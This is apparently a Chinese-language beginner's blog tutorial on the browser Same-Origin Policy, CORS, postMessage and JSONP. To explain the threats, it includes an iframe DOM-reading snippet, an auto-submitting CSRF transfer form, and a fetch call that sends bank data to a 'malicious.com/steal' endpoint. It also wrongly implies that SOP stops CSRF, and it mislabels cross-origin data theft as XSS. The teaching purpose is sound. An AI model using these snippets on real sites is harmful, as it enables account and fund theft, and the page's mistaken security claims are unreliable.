從零理解 Same-Origin Policy:瀏覽器安全的第一道防線

更新日期: 2025 年 3 月 4 日

當你在瀏覽器中登入銀行網站時,有沒有想過「為什麼其他網頁無法偷看我的帳戶資料?」

這背後關鍵就是 Same-Origin Policy(同源政策)

作為現代網路安全的基石,這項機制默默守護著每個使用者的隱私。

本文將以新手視角,帶您理解這個政策的設計原理、運作方式與歷史演進。


網路安全的黑暗時代:SOP 誕生的背景

在 1995 年之前,瀏覽器沒有任何機制來阻止不同網站之間的 JavaScript 存取彼此的數據。

這導致了一系列嚴重的安全問題,例如:

  • 網站可以隨意讀取其他網站的 DOM(文件物件模型),例如讀取銀行帳戶餘額、信用卡號等敏感資訊。
  • 第三方 Cookie 無限制存取,攻擊者可以盜用用戶的身份驗證 Cookie 來冒充用戶登入。
  • JavaScript 可以自由跨站發送請求,攻擊者能透過用戶的瀏覽器發送惡意請求,執行未經授權的操作。

這些安全漏洞為網路犯罪提供了巨大的便利,導致無數用戶的個資被盜,甚至財務損失。

經典攻擊案例:跨站讀取銀行帳戶資訊

假設你已登入銀行網站(https://bank.com),並在該網站上查詢帳戶餘額。

然而,你也不小心打開了一個惡意網站(https://malicious.com),該網站可以利用 JavaScript 嵌入銀行網站的頁面,然後竊取你的帳戶資訊:

<!-- 惡意網站嵌入的程式碼 -->
<iframe src="https://bank.com"></iframe>
<script>
// 直接存取銀行網站的 DOM,讀取帳戶餘額
const balance = window.frames[0].document.getElementById('account-balance').innerText;
alert('你的帳戶餘額是:' + balance);
</script>

這樣一來,攻擊者就能透過你的瀏覽器存取銀行網站,讀取你的帳戶資訊,甚至發送未經授權的交易請求,導致財務損失。

由於這類攻擊越來越猖獗,網路安全專家開始尋找更有效的解決方案,最終催生了「同源政策」。


同源政策想解決什麼問題?

在 SOP 出現之前,惡意網站可以輕易利用 JavaScript 存取其他網站的數據,主要涉及以下兩大類攻擊:

跨站請求偽造(CSRF, Cross-Site Request Forgery)

攻擊方式:

假設用戶已經登入銀行網站 https://bank.com,且銀行網站使用 Cookie 來維持用戶的登入狀態

在 SOP 之前,惡意網站 https://malicious.com 可能會偷偷嵌入一個惡意表單,並讓它自動提交:

<!-- 惡意網站的攻擊程式碼 -->
<form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="hacker_account">
    <input type="hidden" name="amount" value="1000">
    <input type="submit">
</form>
<script>
    document.forms[0].submit(); // 自動提交轉帳請求
</script>

攻擊結果:

由於請求會自動攜帶用戶儲存在瀏覽器內的 Cookie(其中包含身份驗證資訊),銀行伺服器會誤以為這是用戶自己發起的請求,導致資金被悄悄轉移到攻擊者的帳戶

跨站指令碼攻擊(XSS, Cross-Site Scripting)

攻擊方式:

如果 JavaScript 能夠自由存取不同來源的數據,惡意網站 https://malicious.com 就可以透過 JavaScript 讀取用戶的 Cookie、LocalStorage 或 SessionStorage,並將其發送給攻擊者。

例如:

// 惡意網站竊取用戶數據並發送到攻擊者的伺服器
fetch('https://bank.com/userdata')
  .then(response => response.json())
  .then(data => {
      fetch('https://malicious.com/steal?data=' + encodeURIComponent(JSON.stringify(data)));
  });

攻擊結果:

攻擊者可以獲取受害者的個人資料、Session ID 或登入憑證,並用這些資訊來盜用帳戶、轉移資金,甚至完全控制用戶的身份。


同源政策的誕生

1995 年,Netscape Navigator 2.0 首次引入「同源政策」(Same-Origin Policy, SOP)這一概念,作為瀏覽器內建的安全機制,旨在防止惡意網站未經授權地存取其他網站的敏感資訊。

同源政策的核心原則是:

只有同源的網頁才能互相存取 DOM、Cookie、LocalStorage、SessionStorage 和發送 AJAX 請求,而跨源請求則會被瀏覽器阻擋,除非特定允許

什麼是「同源」?

在 SOP 的規範下,「來源(Origin)」由以下三個要素決定:

要素範例 1範例 2是否同源
協議(Protocol)https://http://❌(不同協議)
網域(Domain)example.comapi.example.com❌(子網域不同)
端口(Port):443(HTTPS 預設):8080❌(端口不同)

只有當這三個要素完全一致時,兩個網址才被視為「同源」。

實測練習

https://www.example.com/page 上執行以下 JavaScript 代碼,檢查當前網域:

console.log(document.domain); // 輸出 "www.example.com"

如果你嘗試存取 api.example.com 的 DOM 資料,則會被 SOP 阻擋。


分級管控機制

同源政策並非一刀切地完全禁止跨源存取,而是根據不同操作類型,施加不同程度的限制:

操作類型同源許可跨源限制
DOM 存取✅ 完全訪問❌ 完全禁止
Cookie / LocalStorage✅ 讀寫❌ 禁止訪問
AJAX 請求(Fetch、XMLHttpRequest)✅ 自由發送❌ 預設攔截(需 CORS)
資源載入(圖片、CSS、JS)⚠️ 部分允許✅ 可載入,但無法讀取內容

重點:

  • 完全禁止跨源存取 DOM、Cookie、LocalStorage。
  • 預設禁止跨源 AJAX 請求,但可透過 CORS 解決。
  • 圖片、CSS、JS 允許跨域載入,但 JavaScript 無法存取它們的內容(如跨域圖片的像素數據)。

現代跨源解決方案

雖然 SOP 能有效防止跨站攻擊,但有時我們確實需要跨來源存取資源,例如前端向 API 伺服器請求數據。

因此,瀏覽器提供了一些標準化的跨域解決方案來安全地實現這些需求。

CORS(Cross-Origin Resource Sharing,跨來源資源共享)

CORS 是最常見的跨域解決方案,透過 HTTP Access-Control-Allow-Origin 標頭來明確指定允許哪些來源存取該資源。

例如:

伺服器回應標頭:

Access-Control-Allow-Origin: https://example.com

這表示 https://example.com 的網頁可以合法請求此資源,而其他來源則會被瀏覽器攔截。

如果想開放給所有來源:

Access-Control-Allow-Origin: *

但這樣做可能會增加安全風險。

postMessage()(安全的跨文件通訊)

當需要在不同來源的頁面之間安全傳遞數據時,可使用 window.postMessage() 來進行跨域通訊。例如:

// 來自 example.com 的發送端
const targetWindow = document.getElementById("iframe").contentWindow;
targetWindow.postMessage("Hello from example.com!", "https://api.example.com");
// 來自 api.example.com 的接收端
window.addEventListener("message", (event) => {
    if (event.origin !== "https://example.com") return; // 安全性檢查
    console.log("收到訊息:", event.data);
});

JSONP(JSON with Padding,傳統跨域請求方法)

在 CORS 尚未普及前,開發者利用 <script> 標籤來載入外部 JavaScript 來達成跨域請求,例如:

<script src="https://api.example.com/data?callback=handleData"></script>

伺服器回應:

handleData({ name: "Alice", age: 25 });

這種方式雖然能解決跨域問題,但存在安全風險,容易被 XSS 攻擊利用,因此現代開發中較少使用。


結論

同源政策(SOP)是網頁安全的基石,透過限制不同來源的網頁互動,有效防止惡意網站竊取用戶資訊、發送未授權請求,並避免 CSRF、XSS 等攻擊

然而,在某些場景下,跨域訪問是不可避免的,因此現代瀏覽器提供了 CORS、postMessage()、JSONP 等安全機制來允許合法的跨源存取。

對於開發者來說,理解 SOP 的作用與限制,並正確使用 CORS 或 postMessage(),可以讓網站既安全又能靈活與其他服務互動。

Similar Posts